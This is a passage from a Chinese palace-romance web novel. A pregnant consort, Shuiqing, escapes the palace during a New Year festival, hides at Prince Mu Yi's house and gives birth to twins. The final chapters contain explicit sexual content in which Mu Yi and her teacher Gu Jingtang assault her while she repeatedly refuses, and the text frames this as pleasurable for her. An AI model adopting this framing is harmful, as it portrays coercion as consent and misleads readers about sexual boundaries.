「没事就好,不然我可不敢将你的情况回报给他知道。」小宫女口中所说的他并不是司马渊,而是另有其人,水晴听到她无奈的口气,更是忍不住地噗哧一笑,见到水晴总算露出真心的笑容,开心地说:「这才对,有愉悦的心情才能生出笑容满面的孩子。」
小宫女似乎想到了什麽,将嘴凑到水晴的耳边,用只有两人听得到的音量,说:「时机已经到了。」
「真的?」水晴高兴地大叫,下一瞬间就被小宫女用手摀住她的嘴,又是小小声地提醒差点乐昏头的某人,「小声点啊!这件事情好不容易才准备好,若有个差池,只怕下一次机会遥遥无期。」
「什麽时候?」水晴娇声嫩气地问。
小宫女看到她那双水汪汪的大眼闪着晶灿的光芒,突然一阵鸡皮疙瘩,连忙摇着手说:「别问了!就是不知道才能够瞒过司马渊,你不要想从我的口中知道些什麽!」
「讨厌!」水晴嘟着嘴,娇嗔一声,但是这次小宫女一点都没有敷衍她的意思,就表示真的可行,现下只要等待时间的到来,她就可以重新过着愉快的人生。
不知道为什麽,突然一阵灵光从脑海中闪过,水晴抓着小宫女的手,激动地问:「是不是过几天的星月祭?」
星月祭是南海国一年一度的大节庆,主要是一年年末到隔年年初之间,几乎长达一个月的时间,离家在外的游子返乡团圆,终年辛苦的农活也暂停下来,家家户户忙着整理家中大小事,汰旧换新,男女老少穿上新衣,吃着丰盛的年菜,无处不传出欢乐的气氛。
这一段时间当中,全国上下都散发出一股欢乐的气氛,王宫当中也多少沾染一些,在这段时间当中,宫里也有排勤的太监、宫女与禁卫们,这些人因为某些原因只能留在宫中,当然也不会亏待他们,多少也补贴一些薪俸,宫中也会有庆祝仪式,跟在嫔妃身边的太监宫女人数也会少了一些,在这期间宫内的守卫多少会懈怠,应当是要趁着守卫松懈时,暗中利用管道离开。
当太监宫女发现到之时,里头炸成一团乱要找人之时,他们早已经逃之夭夭,到外头快乐逍遥,到一处没有人找得到的地方,安安稳稳地过着悠闲日子。
☆、124.辭歲夜
星月祭距离现在也不到一旬,这几天肚子里头的小家伙安分的很,应当不会阻止他娘的行动,到了外头呼吸自由的空气,孩子会活得更健康,更快乐,以弥补孩子一出世就少了一个爹的遗憾。
「我什麽都没有说!」小宫女看到水晴越发灿烂的笑容,一张娇嫩的童颜都皱得像颗包子,极力地否认摇头,却不知道欲盖弥彰,反而让水晴更加笃定。
「好!我知道你什麽都没有说!这一切都是我自己胡思乱想。」水晴高兴地展开笑颜,摸摸高高隆起的肚子,说:「小家伙肚子饿了,我们回去吧!」
回到楚絮殿,水晴原本有些愉悦的心情又沈重了起来,这里是她的最初,也是最後,里头的酸甜苦辣,爱恨情仇,个中滋味不足为外人所道。
坐在椅子上,看着小宫女将一盘盘精致又美味的食物端上桌,有如美丽的饰品,却又散发出迷人的香气,令人忍不住食指大动,在这当中更是不乏一些在她怀孕期间特别喜爱的甜品,看得她口水差点溃堤。
「主子,请慢慢享用。」小宫女说完,退到一旁,好让水晴慢慢享用,虽然主子有提过吃饭时候,多一点人一起吃比较有趣,可是这处是王宫,如此不守规范的行为,不管如何是不被允许,即便有主子的特别许诺,也不能踰矩。
水晴看了小宫女狂吞口水的馋样,忍不住地笑说:「今天怎麽学乖了,之前不是兴匆匆地坐着,跟我抢着吃?」
「夫人不要再调侃小的,小的是什麽身份,怎麽敢跟夫人抢食,小的只是在帮夫人试吃,以预防万一。」小宫女一脸哀怨地看着水晴,在暗中作了两人才知道的手势,这几天不知道为什麽突然发现到她的身边多了一些人,这些人躲藏的技术称不上顶尖,但也算是上等。
一般人想要发觉是不太可能,但她可不是一般人,早就发现到异状,为了观察这些人的动静,她不得不安份一些,万一被抓到她不是宫女,自己的能力想要逃离这个王宫是轻而易举,但是要带着一个大腹便便的妇人,即便她有通天能耐,也不敢轻举妄动。
水晴看到她的暗示,嘴角微微一勾,笑说:「不调笑你了,该做什麽就做什麽。」
「是。」小宫女恭敬地上前一步,她所说的试吃是真有其事,在王室当中相互下毒是司空见惯,而且要做得神不知,鬼不觉,连人也不知道自己是怎麽中招,最有效的方法就是在日常生活必需的食物当中着手。
所以,在王宫当中第一个帮忙试毒的就是君王、王后,以及嫔妃身边最贴身的太监、宫女,这些人虽然吃食的量不多,但是每天都会服用一帖药,是可以增加各种毒性发做的时间,如此一来,才能在主子毒发之前,就能够警觉,而且能从这些人身上试药,以找出最有效的解毒方法。
小宫女品嚐了一小口的各样菜色之後,又恭敬地往後退一步,说:「请夫人用餐。」
水晴看到小宫女一脸意犹未尽的样子,优雅地拿起箸,在她眼神流连最多时间的那一盘菜,夹了一小口,放到自己的口中,细嚼慢咽地品嚐起来,在咀嚼的时候,更是故意地发出啧啧声响,一边吃,一边称赞着这道菜有多麽美味,多麽生鲜,多麽有层次的口感,形容到让小宫女忍不住地发出大口的吞咽声。
小宫女用幽怨的眼神看着水晴的背影,以及有如饿狼扑羊般地瞪着她手中箸所夹的菜,她生平无大志,只求吃遍天下美食,在王宫当中的美食当然是一等一的好,更不用说所用的食材、调味都是上等货,厨子的手艺更是天下一绝,若没有品嚐过王宫美食之前,要她忍住欲望还有可能,可是她都吃了好些日子,今日看得到,吃不到的痛苦,真是人间炼狱。
小宫女在心中暗暗发誓,下一次,她绝对要先吃上一大口,然後重新拼盘!
午夜子时,在众人昏昏欲睡,却又舍不到睡着的时候,从远处传来连绵不断的爆竹声,一朵又一朵灿烂绚丽的烟花在漆黑的夜空当中绽放,一时之间,大家的精神都抖擞起来,相互恭喜祝福,好不欢乐。
当寂静的夜空被热闹的声响划破之时,王宫的各处主子们更是忙得不可开交,除了慰勉自己身边的人,并发送红包当作是这一年来的酬谢,虽然主子们大可不必如此破费,但是,一方面是为了展示自己的地位与能力,一方面也是为了防止自己身边的人被他人收买,这些小花费是必要,尤其受到宠爱的主子更是不吝惜地赏赐,大手笔地发送,深怕有人不知道自己是多麽对身边的人宽容与慷慨。
收到赏赐的太监、宫女们,也会相互比较,除了彰显自己主子的荣耀,更是让其他人知道自己的主子未来的前途是多麽光明,而他们是主子身边最亲近的人,其中的利害关系更是不言可喻。
在南海国当中,为了国家人民,王与后必须在正宫当中,送走旧年的不祥与晦气,迎接新年的荣耀与希望。而其他的嫔妃只能待在自己的寝宫当中,等到破晓之时,再妆点仪容,等候王与王后的传召,恭敬地向两人行大礼,并说些吉祥话祝福一国之主及一国之母,这个仪式有再次重申王后地位之象徵,虽然後宫嫔妃可能受宠程度超过王后,但一国之母的地位与尊严是不容许有任何冒犯。
水晴虽然受到极度的宠爱,司马渊也不能因为如此而破坏国家最重要的典章制度,虽然心中很想要将她无时无刻带在身边,却也只能忍下心,在他不得不离去之时,紧握住心爱的人那双白嫩的小手,叮嘱她务必乖乖待在楚絮殿,不可任意胡乱走动。
水晴心中一突,原以为司马渊看破了她的小心思,可是转念一想,为了预防有心人士想要刺杀王,在这一段时间当中,禁卫更是在正宫附近严整以待,对於任何擅闯之人,一点都不会手下留情。
05-26
☆、125.潛逃出宮
幸好自己已经对司马渊冷淡很久,所以她不说话的态度并没有引起司马渊的疑心,只是当她依旧无法再次接受他,而且默默地离去。
司马渊离去之後,水晴则是无语地坐在床上,看到他每一次失望的脸,以及越来越憔悴的神情,回想自己是否对他太过严苛,虽然他依旧想着要两人复合,她知道已无这个可能,但是在这段时间当中,他又给予她诸多帮助,作人也不能太过於无情,却又不能够给予他一丝的希望。
虽说买卖不成仁义在,他们毕竟也是一夜夫妻百日恩,看到他委靡不振的模样,心中说没有任何感觉是骗人的,只是,怕自己又再度陷入,她得紧紧地守住自己的心,更何况自己现在已经不需要任何爱情,伸手摸摸肚子里的小家伙,这几个月来,孩子已经占满了她所有的心神,想必未来,她的生活有了新的重心,绝对不会再有任何的遗憾。
「夫人,时辰快到了,该作准备?」小宫女最後用了一点疑问的口气,在司马渊离开之後,进入寝宫就看到水晴若有所思的模样,误以为她已经动摇不想离开。
「是该作准备了,今日再不走,我就真的得老死在这里了。」水晴忽略小宫女的问题,她自己也知道自己的心思摇摆不定,毕竟司马渊对她的好是真真切切,没有一丝虚假,只是他爱她的方法错了,最後让两人越行越远。
「我还以为你改变心意,要留下了。」听到水晴坚定地说,小宫女笑了,原以为她想要离开只是嘴上说说,作为对司马渊谈判的筹码,毕竟她可是南海国王思思念念的人,是有资格与条件对他提出任何要求的人。
「留下?」水晴脸上充满着戏谑的笑容,看着小宫女说:「是那个人想要我留下吧。」
对水晴不敬的态度感到一丝怒意的小宫女,忍不住发出斥责说:「大胆!难道你不怕出不了宫?」
「出不了宫也是我的命。」水晴重重地叹了一口气,望着外头漆黑的夜空,以及远处传来欢乐的声音,相较於自己寝宫的冷清,真是一地两样情,「但是,我知道你不会这样作,在这一段时间,你时不时都传递消息给那个人,他也应该知道,我已经无法为他所用,留在这里,难道不会担心我在无意间泄漏秘密?依那个人的性格,现在大概已经透过你,掌握了不少消息,将我弄出来,大概是为了我肚子里头的孩子,那个人的野心,已经不只有西夜,连南海、北原都想要,等到时机成熟,中州、东岳也可能尽收他的手中。」
小宫女听出水晴语气当中的无奈,虽然不知道她所说的话,是否为心里头真正的想法,但她也清楚水晴的境遇,知道她都是周旋在一群男人之间,每一个人都看到她的美,知道她的好,也享受过她的温柔,可是在权势、天下之间,依旧舍她而去。
口口声声说爱她,疼她,做出来的行为却是一次又一次伤害着她,那个人如此,司马渊也如此,她的师父、师兄也是如此,每个人都想要她的好,却又在关头之时将她抛下,如此伤害一个纯真女人心,他们似乎都感到愧疚,感到後悔,却没有人真正为了她作到只爱美人,不爱江山。
不……应该有一个人可以作到如此,但是那个人却在得到她的心之後,以更加残忍的方式离开她,而且是永永远远地离开!一个女人命运如此多舛,也是令人值得同情。
「人各有志。」小宫女左思右想,到最後脑海中只剩下这四个字,「现在,我们快点收拾收拾,等等子时放出烟花,就得到说好的地点,过了时辰,可就没办法再开一次门。」
「知道了。」水晴点点头,起身收拾。
到了子时,水晴与小宫女两人已经换好了服装,悄悄地来到临清苑,这里处於王宫较为偏远之处,一直都是在宫里头地位更加低微的人所进出的地方,这些人大多是临时性、季节性的雇佣,为了就是帮忙王宫在重大庆典,或其他急需用人之时,从外头选取一些家世清白的人进宫协助。
此处的守卫当然也不会含糊,一般时候进出王宫必定要有证牌,在星月祭如此重大的庆典当中,王宫早已经将临时雇佣之人调往各处帮忙,现在只留下一些必要的守卫人数,这些人的心思早已经往热闹的方向飘去,对於四周的戒备松懈不少。
水晴与小宫女两人早就褪下宫制衣装,换成雇佣人员所穿的衣服,她们并没有莽撞地冲到门口,而是躲在阴暗的角落当中,等待着最佳时机到来。
听到爆竹声响连绵不断,好一段时间之後才停了下来,又静静地过了三刻钟,水晴听到不远处传来嬉闹的声响,原来是距离临清苑较近的宫殿的雇佣人员三三两两地往临清苑聚拢,住在这些地方的主子们比较不受宠,也不太需要庆祝,例行的仪式完成之後,早早发送红包,连忙将这些人打发出宫。
这些人也归心似箭,虽然赏银相较於其他人而言,少了一些,但与一般民间相比,依旧是相当优渥,不多时,一大群人就往门口集中,守门的禁卫看到这些人,连忙要他们拿出证牌以明身份,才陆续放他们出去,水晴与小宫女两人则是混入人潮当中,看到距离出口越来越近,水晴的手心越发汗湿,紧抓着小宫女的衣角,轻声地说:「牌子……没有问题吗?」
小宫女小声地回:「当然没问题!镇定点,行为不要太过鬼祟,就像他们一样,跟着一起出去就对了。」这个牌子可是从其他人身上摸来,星月祭是多麽忙碌,在不小心之中总会有粗心的人落下一两个牌子。
看到小宫女自信满满的样子,水晴顿时放心了不少,呼吸好几次之後,缓过紧张的心情,一步一步跟着人潮往外头走,当她们来到门口递出牌子,禁卫似乎也没有多加详细端看,只是匆匆地要她们快点出去,不要挡住後头的人。
☆、126.躲藏之處
「真顺利,希望不会有事情才好。」小宫女喃喃地说,原本以为会有一番盘查,没想到那两个守卫居然只是匆匆一瞥,就放她们出去,虽然说这样顺利并不是不好,总觉得有一处挺可疑,只是她目前还没办法理出头绪。
「你说什麽?」水晴大大地伸展身体,深深地呼吸几口外头的自由空气,失而复得的感觉特别的好。
「没事,前面就是有人接应的地方,接下来,可能还需要再变装一次,只是你这个肚子真的不好掩饰……」小宫女苦恼着,一般而言,经过她的巧手不管变男变女都可以维妙维肖,可是,唯一没办法变化的就是体型,高大不能变成矮子,南傍国不能变成瘦子,孕妇则不可能遮掩肚子,尤其有孕的人根本经不起碰撞,该转变什麽身份才不会被识破,是她想了好久还没有想到的。
「到时候在想办法,现在我们先找到接应的人要紧。」水晴翻了个白眼,这个肚子也不是她愿意要挺着,她这个肚子又不是里头装了包袱之类,总不能要她现在就卸货吧!
「也好。」小宫女从包袱当中拿出两件黑色披风,一件让水晴披着,一件则是自己穿戴,两人整装完毕,便偷摸地找着不会引起别人注意的地方行走,边走边看一旁是否有人跟踪,幸好现在大家都在家里头相互庆祝,很少有人出来外头溜达,家家户户灯火通明,反而更容易找到能够隐藏的地方。
走了一刻钟,她们来到一处豪宅的围墙,硬是比人高上半个身形的深红色围墙,代表着一种不能轻易碰触的威严,但是在今日欢乐的气氛,以及点点烟花的照射之下,却又显得柔和许多。
「就是这里。」小宫女停下脚步,伫立在围墙的某处,两人穿着黑色的衣物,正好躲在阴影之处,与夜色融合为一。
「现在?」水晴好奇地问,现在不是应该有人前来接应,怎麽连一只夜猫的影子都没看到。
「耐心点。」小宫女伸手摸着那片围墙,似乎在找些什麽,摸着摸着似乎找到了,空出一只手,在上头敲着有规律的节奏。
正当水晴想要问她在作什麽的时候,只见围墙发出低沉的轰隆声,缓缓地从中切割分开,围墙移动到一个人可以经过的空隙便停下,小宫女看到水晴目瞪口呆的模样,连忙道:「发什麽呆?快点进去!」
「喔!」水晴从讶异当中回神,连忙钻了进去,只是当她看到围墙的另一边等待着她的人影时,当下楞在原地。
小宫女跟着水晴的後头进来,在墙壁上又摸索了几下,高耸的围墙又再度合拢,恢复成为最为普通不起眼的模样,她当然也看到前方的人影,连忙上前一步,如释重负地说:「任务达成,已经没有小的事情,小的先退下。」
「下去吧。」慵懒又低沉的嗓音淡淡地说,小宫女就有如得到特赦一般,连忙离开,留下水晴一人面对。
木易从容地走到了水晴的面前,伸出大手在她如瀑布一般的黑色发丝上,轻轻地抚摸着,似乎端详着一件珍贵的物品是否有损害,发现到她似乎一切安好,才露出浅浅的笑容,说:「好久不见了,水儿。」
「木……」水晴眼眶浮出雾气,一阵激动吐出一个字,便发现到不妥,急忙退後一步福身并改口说:「民妇参见二王子。」
「水儿,你、我之间怎会如此生疏?」对於水晴的生疏,木易语调中夹着一丝不出的情绪。
「王子身份尊贵,民妇只是低贱之民,礼不可废。」水晴说完,眼神移到木易的身後,又是恭敬地福了身,说:「徒儿拜见师父。」
「晴儿,你没事就好。」对於水晴特意疏离的态度,顾靖堂苦笑着说,原本她的心就已经离他很远,没想到现在更是有如隔了一座高山,或者万丈深渊,两人想要接近,根本就是不可能的事情。
「徒儿一切安好,请师父无须挂心。」水晴轻描淡写地说,一双水亮的双眸淡然地望向两个男人,方才太过於震惊,没有仔细观察过两人的情况,没想到现在一看,才发现到木易与顾靖堂与她记忆当中的模样有了很大的差别。
先说木易,原本他就是一个高高在上,除了王位,对其他事物都漠不关心,虽然对人客气,与人为善,在他身边的人都对他的气度赞不绝口,但没有人真正懂得他的心,也没有人真正与他交心,这样的一个人傲视所有的一切,似乎所有的事情都可以掌握在自己的手中。
然而,现在的木易表面上依旧淡然,却多了一丝迷惘,原本对王位充满着欲望的眼神,落在她的身上之时,似乎多了一些什麽,让木易变得更加有人性,然而看在水晴的眼里,心中却忍不住地想要问,那一个自视甚高的木易,怎麽会少了霸气,多了柔情。
相较於木易只有些微的改变,顾靖堂的身形变得比之前更加单薄,人也显得憔悴许多,那一头白发原本闪着耀眼的光芒,现在却变得黯淡无光。在他时不时的轻咳当中,不难发现到身体似乎比以往变得更加虚弱,忍不住担心地问:「师父身体是否微恙?」
水晴的关心让顾靖堂原本低沉的心情瞬间开朗起来,虽然知道她的心不在自己的身上,但对於她不经意的温柔,依旧欣喜地笑着说:「为师没有大碍,只是最近染上一点风寒,休养几天即可。」
顾靖堂的一番话听在在场的人耳里,各有不同的解读,木易当然知道顾靖堂的身体状况,并非只是染上小风寒,而是积累郁闷之气,使得自己体内气息紊乱,在一次练功当中,差点走火入魔,幸好当时莫承瑜在他的身边,要不然现在水晴纸会看到一坏黄土。
水晴点点头,虽然师父对她作过一些不值得原谅的事情,但他对她也有养育之恩,身为晚辈这点关心也是应当。
☆、127.產子
木易发现到水晴不经意流露的真心,忍不住地心中发酸,说:「师徒情深是好事,可现在水儿的身子不是一个人,今日想必已经累了,先去好好休息,有什麽事情等睡醒後再说。」说完,伸手招来一名年约十七、八岁的婢女,特别嘱咐着要她好好伺候水晴,不能有一丝闪失。
婢女如履薄冰地称是,来到水晴的面前,伸出手要扶着有着金贵身子的人,却被水晴摇头拒绝,说:「谢谢,我自己走就行了。」随後便向木易与顾靖堂福身致歉,「感谢二王子的帮助,民妇铭感五内。师父,请多保重身体,徒儿明日再向师父请安。」
顾靖堂原本还有许多话想要对水晴诉说,木易却一点都不留情地将她支开,看到水晴脸色有些疲惫,他也不便再强留,只好默默地任由水晴离开。
等到她的身影消失在回廊的尽头,木易才望向顾靖堂说:「记得你向我保证过的事情。」
「知道,你不用一再提醒我。」顾靖堂痛苦地闭上眼,当初看到水晴坠崖,一开始认为以自己的力量绝对可以找到她,一天又一天的寻找过程,却连一点踪迹都没有,他开始感到不安,心烦意乱的时刻,又正好遇到他的特殊时期,差一点就走火入魔,虽然勉强挽回神智,身体却大受损伤,不得已只好再一次向木易低头。
木易也不是一个好说话的主,也不是一个善心人士,既然有求於他,当然得要付出相当的代价,这个代价让顾靖堂挣扎了好久,为了水晴,他还是毅然决然地接受。
和煦的日光,轻柔的微风,夏日的午後下了一阵小雨,天气少了些炎热,多了几许凉意,水晴怀中抱着两个才刚满月的儿子,看到他们吃着奶,粉嫩小脸露出满足的模样,忍不主地微笑。
等到两个小家伙吃饱,轻拍着他们的背,让他们打了个嗝,两兄弟不约而同地打了个大哈欠,看得水晴更是怜爱不已,站在一旁的两名妇人看到水晴有些皮累的模样,便上前说:「请将两位小公子交给我们,这几天夫人日夜陪伴在小公子身边,人也消瘦许多,这几天小公子就让我们照顾,夫人好稍作休息。」
「也好,辛苦你们。」水晴舍不得地看了两个儿子,这两个小家伙从出世到现在就是磨娘精,当她开始阵痛之时,花了一天一夜才将他们生下来,她原本想要自己喂奶,但是又担心自己喂不饱两个,所以请木易帮忙多找一个奶娘帮忙。
万万没想到这两个小家伙根本就不领情,只有她的奶才会吃,其他人的一概不碰,虽然私心上认为这两个孩子亲近她是一件好事,可是,最初的几天,她的乳汁量根本不够两个食量特大的小家伙食用,一个吃饱,另一个就得饿肚子,饿肚子的那个又是哭得脸红脖子粗,看得她心疼不已。
幸好,木易府上有一个生过双生子的妇人,当时也有过与水晴相同的情况,便贡献出自己当时候增加乳汁的秘方,利用食物让水晴能够产出多一些,这个方法顺利地让水晴有足够的乳汁,让两个孩子能够吃得饱,也解了她吊在心头上的忧虑。
原本以为这样子就可以放心,没想到这几天天气变化太大,早晚温差、乾湿让大人都有些受不住,更何况是才刚出世的孩子,两兄弟便有发烧呕吐的现象,惊得水晴连忙喊人叫大夫。
大夫一来,看了孩子的状况,便要她安心,只是一点小风寒,可是孩子太小,没有办法吃药,所以得从母亲下手,便开了一帖药方,要水晴吃下之後,从喂食乳汁将药效间接传递给孩子,虽然效果可能要拖个几天,但是,对娇弱的婴儿而言,才不会太过於刺激,而有其他不良的反应出现。
水晴连忙照办,虽然间接的效果反应较慢,但是孩子的情况也逐渐好转,这几天怕孩子有个闪失,她不眠不休地陪在两个孩子的身边,一听到他们哭,连忙抱在怀中安慰,一发现到有点烧,连忙拧乾手巾,敷在孩子的额头上。
几天的折腾下来,水晴整个人憔悴了不少,但是看到孩子好了许多,这些辛苦都是值得的,看到两兄弟健康的模样,以及有力地吃着奶,心中不禁欣慰,她也知道自己如果生病了,乳汁的品质势必会影响到孩子的健康,为了孩子,说什麽也不能让自己有任何闪失。
看到两名妇人将孩子带下休息,水晴便向站在一旁的小紫,说:「我想要梳洗一番,帮我准备准备,顺便吩咐厨房,帮我准备一些小点心。」就在她回到这里,小紫连忙向木易请求回到她的身边伺候,木易当然没有任何意见,毕竟派一个水晴熟悉的人在身边伺候,比一堆不熟悉的人,更能让她安心待产。
「是,小姐。」盘起妇人髻的小紫,在前阵子嫁给了木易府中一名管事的儿子,小俩口夫唱妇随,甜蜜的模样羡煞旁人,只是当水晴知道早在两年前小紫就已经说好婚嫁,却发生了她坠崖的事情,小紫这些年来与她最亲,一天没有找到她的消息,她就没有心思嫁人,就这样拖了两年,让水晴对於小紫怀着感激,却又有些不舍,幸好对方也是一个敦厚的人,明白小紫心中的感受,知道她们主仆二人的情谊,也没有多说些什麽,只是要小紫放宽心,不要因此而伤神。
水晴知道之後,高兴着有这样的夫婿是小紫的福气,想到自己的境遇,心中不禁一阵唏嘘,表面上,她虽然锦衣玉食,获得荣耀尊贵,身边的男人虽然是人中之龙,高高在上,外人看来她可是风光极了,然而却没有人知道她奢望像小紫那样,寻得一个夫婿是知心之人,能够两人携手相互扶持,平平淡淡地过完这一生。
☆、128.偷窺狂!
「小姐,水已经准备好了。」小紫依旧对水晴维持旧称呼,主要是因为水晴的强烈要求,她们主仆二人的情谊深厚,每当小紫喊她小姐之时,心头总觉得有一股温暖,让她感觉到自己就像是回到从前那一段无忧无虑的日子。
水晴点点头,说:「你先下去吧,帮我看看那两个小子有没有安安稳稳,才刚病好,可别又着凉了。」一想到两个孩子睡觉五花八门的姿势,每一次醒来都看到不同的睡姿,重要的是他们这麽小就学会踢被子,一方面觉得好笑,一方面担心着他们才刚痊癒又惹上风寒。
「是。」小紫想到两位小主子,忍不住地会心一笑。
水晴看着小紫出去之後,起身走到衣橱,拿起简单的换洗衣物,就来到房间内的一处小隔间,这个隔间是木易仿照着之前她所住的地方而建,他很清楚自己的习惯,每一天都得要沐浴一次。
在南海国沐浴的地方与房间其实都会相隔一段距离,夏天时还没有太大的影响,但是到了冬天,那股冷风吹来,一冷一热真的令人受不住。
她想办法让人在房间里头隔了小区,仿照现代的套房模式,里头附设卫浴,如此一来,不管她何时想要沐浴,只要派人烧了些热水,在房间内洗完出来,一方面不用担心忘了带衣服,一方面洗完澡睡觉会让她睡得更香甜。
水晴嘴里哼着小调,走到隔间,将身上的衣物褪去,披挂在屏风之上,看到浴桶里头氤氲的水汽,上头还要人洒上一些花瓣,小手轻轻地在水面上滑动几下,小紫果然是一个慧心的人,知道她最喜欢的水温,两只小手合拢掬起热水,轻泼在自己的身上,先作简单的清洗,让身体乾净些,才踏着脚踏步入桶子当中,缓缓将身子泡在热水当中,享受着今日最令人放松的一刻。
暂时抛开所有的一切,水晴乐呼呼地在浴桶当中玩了起来,一下子将水往桶子的另一边泼去,一下子将自己的脸闷在水中,一下子又亵玩浮在水面上的花瓣,等到玩得差不多了,水也凉了,才心满意足地起身。
正当她想要拿起放在一旁的浴巾擦乾身体,猛然发现到有一股热烈的目光正落在自己的身上,急忙将目光转向视线的方向,发现到站在屏风旁的顾靖堂,心中一惊,急忙抓起浴巾挡住自己的身子,不知道是羞还是气,或者是因为刚才的热气,让她红着小脸,语气有些不高兴地说:「师父,你怎麽会在这里?」
顾靖堂看到水晴有如出水芙蓉的模样,就想到当初他们两人第一次见面的情景,以及过往的甜蜜,下腹汇聚一股热流,某个许久不曾复苏的部位,开始肿胀起来。充满着慾望的视线逗留在水晴的身上,看到她用遮掩不了多少的布料挡在身前,若隐若现的模样让他差点停止呼吸。
水晴当然发现到顾靖堂的眼神当中充满着慾望,而且对於她衣不蔽体的模样丝毫没有想要回避,忍不住心中升起一股怒火,瞪着顾靖堂不客气地说:「师父!请出去!」
水晴的怒气根本就对顾靖堂起不了什麽作用,反而让她变得生气勃勃,因为怒气而大口的呼吸,反而让她双手压在生产过後的两团白兔变得更加丰满,更加诱人,顾靖堂知道水晴的怒气,可是却也忍不住即将溃堤的慾望,不自主地往水晴去,低哑着嗓子说:「晴儿,我……」说到这,他也不知道自己在想些什麽,明明就是想要将她压在身下好好疼爱,却又忘不了水晴当初决绝的表情,担心自己的孟浪,反而造成反效果。
「出去!」水晴看到顾靖堂往自己的方向走近一步,她就往後退一步,到最後她也没有一丝尊师重道的心,看着他的眼神有如看着一名登徒子。
顾靖堂似乎没有听到水晴的斥责,反而一步一步往她靠近,水晴戒备地看着顾靖堂,却没有发现到自己的身後也站了一个人,一个不注意就撞了上去,这一撞让她吓得落下手中的浴巾,一副白玉般的身子就这样裸露在顾靖堂的眼前。
水晴当下也不知道自己撞到了人,只知道唯一能够遮掩自己的东西已经掉落,急忙想要弯身捡起,却被後头的人一把抓住纤细的手腕,两只手被一只大手箝制在她的身後,一股灼热的呼息喷洒在颈项间,一股湿热的触感滑过脖子,水晴心中一楞,还没有反应过来,就听到後头传来一股沙哑的声音说:「水儿,你真香。」
听到这个声音,水晴连回头都不用,就知道身後的人是谁,没想到一个顾靖堂是偷窥狂也就算了,她身後的男人更上一层楼,不仅看了,还摸了!气急败坏的水晴不顾形象破口大骂道:「你们这两个男人到底懂不懂得什麽叫做廉耻?堂堂的王子居然偷看一名妇人洗澡,而且还堂而皇之,而木易你更是个中翘楚!」
「哈哈!水儿果然还是要泼辣些才有趣。」木易不介意水晴破口大骂,这样的她比起之前冷淡有礼还来得亲近些,另一只空闲的大手往前握住一团白玉,用不轻不重的力道揉捏,手指更是掐着顶端的小红莓,极尽挑逗地玩弄着他思思念念已久的白兔。
「啊……放开我!」水晴敏感的身体就是被这些男人们开发,只要一碰到他们,身体就不像是她能自主,只顾着在男人的抚弄之下,享受着酥麻的快感。
「晴儿的身体还是一样敏感,轻轻一弄就兴奋起来,这麽快就把我的手弄湿了。」顾靖堂一手捏揉着另一边没有被照顾到的丰乳,一手往下来到她腿间最私密的部位,顺着隙缝轻轻地滑动着,瞬间花穴就流泄出一股甜蜜的花蜜,顾靖堂的手正好在下头,微弯的掌心承接滴落的蜜汁,过多的蜜汁就从掌心溢满出去,顺着雪白的大腿内侧,缓缓地落到地上。
☆、129.瓊漿玉液
「你们不要太过分了……啊……」水晴怒吼着,然而自己的力量却不足以挣脱身後男人的箝制,只能无助地任由他们两人玩弄自己的身体。这些都还不是最可恨,可恨的是自己却一点都不觉得恶心,反而有一种跃跃欲试的快感,不经意脱口而出的呻吟,希望他们能给她更多。
「口是心非的水儿,你刚刚发出的呻吟似乎不是这样表示。」木易轻咬着圆润的耳珠,低声地在水晴的耳边驳斥。
「唔……我没有……嗯啊……」水晴坚持着最後的底线,对於两个男人的恶意一点都不退缩,也不轻易投降,可惜她太小看这两个男人的手段,越想要抵抗,越激发他们的征服欲望。
「晴儿,不要再挣扎了,好好享受我们两个带给你的感受,好好体验我们两人对你的疼爱。」顾靖堂手指插入已经湿润的小穴当中,缓慢地抽插,指甲括弄着娇嫩的肉壁,引起女体阵阵的颤栗。
「呜……放开我……」水晴如泣如诉的哭喊,却抵挡不住越来越强烈的需求,尤其在生产过後,她的身体似乎改变了不少,变得更加敏感,他们两人才刚开始,就已经让她有快要高潮的感觉,不耻自己身体的反应,仅存的理智正努力地告诫自己要快点摆脱两个男人,不然激情过後,她绝对会恨死自己。
水晴以为自己发出的是怒斥,但听在两个男人的耳里,却是一种娇媚的邀请,让他们心中那股慾望燃烧得更加激烈,四手更加努力地在她的身上点燃一把又一把的火。
「晴儿,嚐嚐自己的味道。」顾靖堂将沾满蜜液的手指放入水晴的口中,看着她舔舐着自己的汁液,过多的蜜液从粉嫩的嘴角流出,缓缓地滴落在一团白绵上头,晶莹剔透的水珠在雪白粉嫩的胸脯上头,随着她的呼吸肆意奔流,其中有一滴水珠正好滑落到粉嫩硬挺的乳尖上,有如一道美味的甜点,吸引着顾靖堂的目光。
那颗水珠随着呼息上下摇动,看得顾靖堂口乾舌燥,忍不住地伸舌舔了舔太过乾燥的嘴唇,低下头张口含住,用力地吸吮舔弄起来,顾靖堂原本只是想要舔去上头的蜜液,没想到在他用力的吸吮当中,蜜汁混合着香甜的乳汁,顺势被他喝下肚,没想到这口让顾靖堂有如喝下琼浆玉液一般,停不下来地一口接着一口,努力地吸着。
「啊啊……不要……不要吸……」水晴用力地摇着头,男人灼热的呼息,以及用舌头舔弄,用力吸吮乳尖的方式,让她感觉到与哺喂孩子相当不同,孩子纯粹只是要填饱肚子,而这个男人却带着无比的慾望,逗得她差点喊出要他们进入的这种浑话。
刺激的销魂快感让水晴的双腿颤抖得差点站不住,快要放弃抵抗的力量,要不是身後男人的扶助,她现在已经腿软瘫在地上,越来越放肆的手在她的胸前蓓蕾狎意亵玩,被手指侵占过後的嫩穴更是激烈的收缩,两个男人发现到这一点,更加不放过对她的抚弄,似乎要让她一次又一次在他们的手下、身下泄出才肯罢休。
「晴儿的乳汁真甜,难怪那两个小家伙这麽喜欢喝。」顾靖堂嘴角遗落着几滴乳汁,伸出自己的手指将漏网之乳汁汇集,意犹未尽地放入自己的口中,满足地舔舐乾净,对着木易说:「你也嚐嚐,晴儿制造出来的水,只要嚐一口就忘不了。」
「我当然知道,水儿就是这样才惹人怜爱,只要一点小动作,就让她泄出许多蜜汁,想喝都喝不完,每一次看到都觉得浪费了。」木易说完,一把将水晴抱起,大步地走到她的床舖,轻柔地将她放在床上,迅速地褪下自己身上的衣物,挺着胯间坚硬肿胀的男根,爬上床,趴卧在她的身边,一手握着丰满的乳峰底部,稍微用力地一握,让原本硬挺的乳尖更加突出,轻吼一声,便低着头咬着、吸着方才顾靖堂赞不绝口的粉嫩胸脯。
